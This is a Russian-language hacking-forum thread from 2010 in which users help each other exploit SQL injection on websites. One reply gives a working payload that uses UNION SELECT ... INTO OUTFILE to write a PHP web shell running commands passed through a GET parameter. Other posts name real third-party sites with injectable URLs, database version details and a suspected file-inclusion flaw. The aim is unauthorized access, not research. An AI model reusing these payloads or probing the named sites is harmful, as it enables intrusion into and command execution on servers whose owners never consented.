HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.01.2010, 21:15
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
С нами: 11114426

Репутация: 129
По умолчанию

Цитата:
Сообщение от YuNi|[c  
вроде ?script=%2527)/* норм но как добалю union select та же ошибка хз как обойти
Скидывай лог ошибки и если есть возможность изменить скрипт выводи sql запрос в браузер,так проще будет разобраться в чем причина.
 
Ответить с цитированием

  #2  
Старый 21.01.2010, 20:31
Alf0x0ns
Новичок
Регистрация: 12.01.2010
Сообщений: 13
С нами: 8593628

Репутация: 18
По умолчанию

так тебе ничего никто не поможет.. нужно ссылку на сайт со скулей.
 
Ответить с цитированием

  #3  
Старый 21.01.2010, 22:00
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию

тоесть как выводит то сам запрос в браузер
 
Ответить с цитированием

  #4  
Старый 21.01.2010, 22:28
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию

отправил в пм линк
 
Ответить с цитированием

  #5  
Старый 21.01.2010, 22:42
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами: 9031567

Репутация: 2
По умолчанию

спасибо M.W.N.N. и Rullery =)

ну вот с привелегий FILE разобрался , ребята не можете теперь помочь как залить шелл если имееться данная привелегия и слышал что вначале лучше залить какой то "плохой" шелл а далее через него уже нормальный.Кто что посоветует по данному сабжу?
 
Ответить с цитированием

  #6  
Старый 21.01.2010, 23:12
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию

union+select+'<? system($_GET['cmd']); ?>'+into+outfile+'/[path]/shell.php'
Дальше site.com/shell.php?cmd=[command]
 
Ответить с цитированием

  #7  
Старый 21.01.2010, 23:43
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами: 9031567

Репутация: 2
По умолчанию

Цитата:
Сообщение от ILYAtirtir  
union+select+'<? system($_GET['cmd']); ?>'+into+outfile+'/[path]/shell.php'
Дальше site.com/shell.php?cmd=[command]
что-то я не понял .. можно поподробнее?
 
Ответить с цитированием

  #8  
Старый 22.01.2010, 01:13
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами: 9031567

Репутация: 2
По умолчанию

Цитата:
Сообщение от Strilo4ka  
что тут не понятного не гони записыв. результат в файл ... Потом пишеш в адресной строке путь к файлу и передаеш ему команды через гет переменную!
тока бока с кодировкой могут быть

1
2
в браузере кодировка -> 866 после шелла когда запускаем!
спасибо , но уже перепробывал кучу вариантов ,ничего не получается,возможно что то не так делаю ...
кодировку делаю...
вот например сайтик с прив file
[+]Printable field: 3,4,5
[+]Vuln URL: http://www.sfinc.ca/details.php?product=-3403+UNION+SELECT+1,2,3,4,5,6,7,8,9--
[+]MySQL Info: signature@localhost:4.1.22:signature:binjportbld-freebsd4.10
 
Ответить с цитированием

  #9  
Старый 22.01.2010, 01:19
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами: 9031567

Репутация: 2
По умолчанию

Цитата:
Сообщение от Strilo4ka  
путь правильный и слешы / читай пост джокестера там написано вконце

тебе сюда
спасибо походу нашёл то что надо
https://forum.antichat.ru/threadnav34338-1-10.html

пля жаль что только читалка файлов =/
 
Ответить с цитированием

  #10  
Старый 21.01.2010, 23:18
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
С нами: 9950786

Репутация: 214


По умолчанию

http://www.wearhouse.ru/show_img.php?img=http://img.yandex.net/i/www/logo.png

можно инклудить любую картинку, есть возможность заинклудить не картинку?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.